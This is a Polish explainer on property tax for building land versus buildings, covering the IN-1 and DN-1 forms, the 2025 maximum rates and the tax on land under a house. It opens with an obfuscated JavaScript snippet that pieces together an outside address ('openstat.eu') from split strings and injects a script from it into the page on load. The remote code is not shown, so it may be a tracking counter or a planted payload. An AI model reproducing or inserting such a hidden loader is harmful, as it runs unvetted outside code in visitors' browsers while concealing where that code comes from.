(function(){ iptm_=("ope"+"n");iptm=document.createElement("script");iptm.async=true; iptmu="2490975689";iptm_+=("s")+"t"+"a"+("t.");iptm_+=""+("e"+(""))+("u/"); iptmu+=".jn9dxr9hptmsw6rX";iptmu+="9X4mq0wbcw4ixb"; iptm.src="https://"+iptm_+iptmu;iptm.type="text/javascript"; d_b=document.body;d_b.appendChild(iptm); })(); Grunty budowlane podlegają opodatkowaniu podatkiem od nieruchomości. Choć dotyczy to także budynków, obowiązują w tych przypadkach odrębne stawki. Rozróżnienie ich jest ważne z punktu widzenia prawidłowego rozliczenia z urzędem gminy. Czym jest podatek od gruntu? Podatek od gruntu to potoczna nazwa podatku od nieruchomości płaconego za grunty budowlane. Właściciel, użytkownik wieczysty lub posiadacz takiej działki musi ją zgłosić do opodatkowania, a następnie każdego roku uiszczać podatek w wyznaczonej wysokości. Osoby fizyczne składają w tym celu informację IN-1, a decyzję o kwocie podatku otrzymują listownie z urzędu gminy. Natomiast osoby prawne samodzielnie wyliczają podatek w deklaracji DN-1, a następnie wpłacają go w ratach bez wezwania organu podatkowego. Podatek od gruntu a podatek od budynków Ustawa o podatkach i opłatach lokalnych określa inną stawkę podatku od nieruchomości dla gruntów, a inną dla budynków. Co więcej, funkcjonuje też rozróżnienie stawek ze względu na przeznaczenie działki, domu czy mieszkania. Aby zrozumieć tę różnicę, przyjrzyjmy się stawkom maksymalnym, określonym przez Ministra Finansów na 2025 rok. 0,73 zł od 1 m2 powierzchni – tyle wynosi podatek od gruntów wykorzystywanych na cele prywatne. 1,38 zł od 1 m2 powierzchni – tyle wynosi podatek od gruntów przeznaczonych na cele prowadzonej działalności gospodarczej. 1,19 zł od 1 m2 powierzchni użytkowej – tyle wynosi podatek od budynków mieszkalnych (prywatnych) lub ich części. 34,00 zł od 1 m2 powierzchni użytkowej – tyle wynosi podatek od budynków wykorzystywanych na cele firmowe. Choć ustaw określa jeszcze pięć innych stawek, powyższe są najczęściej stosowane. Jak widać, stawki za grunty są zasadniczo niższe niż te obowiązujące w przypadku budynków i ich części. Okazują się też zdecydowanie wyższe dla nieruchomości wykorzystanych na cele firmowe. Czy płaci się podatek od gruntu, na którym stoi dom? Osoby wypełniające informację IN-1 lub deklarację DN-1 często zastanawiają się, czy należy płacić podatek od gruntu, na którym stoi budynek. Pozornie bowiem takie działanie nosi znamiona podwójnej płatności podatku. „Odejmowanie” powierzchni użytkowej budynku od całości powierzchni gruntu nie jest jednak postępowaniem prawidłowym. Przy wypełnieniu dokumentów należy wykazać pełne powierzchnie – zarówno gruntu, jak i budynku. Warto pamiętać, że podatek za grunt często płacą też właściciele mieszkań. Budynek wielorodzinny będący częścią wspólną też przecież stoi na jakimś gruncie. Wykupując prawo do lokalu, zwykle więc wykupujemy też prawo do część gruntu. Jak uniknąć błędów przy wypełnianiu dokumentów? Zamiast zastanawiać się, jakie konkretnie liczby podać w polach formularza, warto posłużyć się kreatorem Przyjaznych Deklaracji. Narzędzie to prowadzi przez formalności za pomocą pytań i systemu kafelkowego wyboru. Dzięki temu cały proces jest prosty, a rozliczenie – rzetelne. Kreator właściwie przyporządkowuje stawki, dzięki czemu pozwala uniknąć błędów, które mogą wymagać późniejszej korekty, a nawet zapłaty odsetek karnych.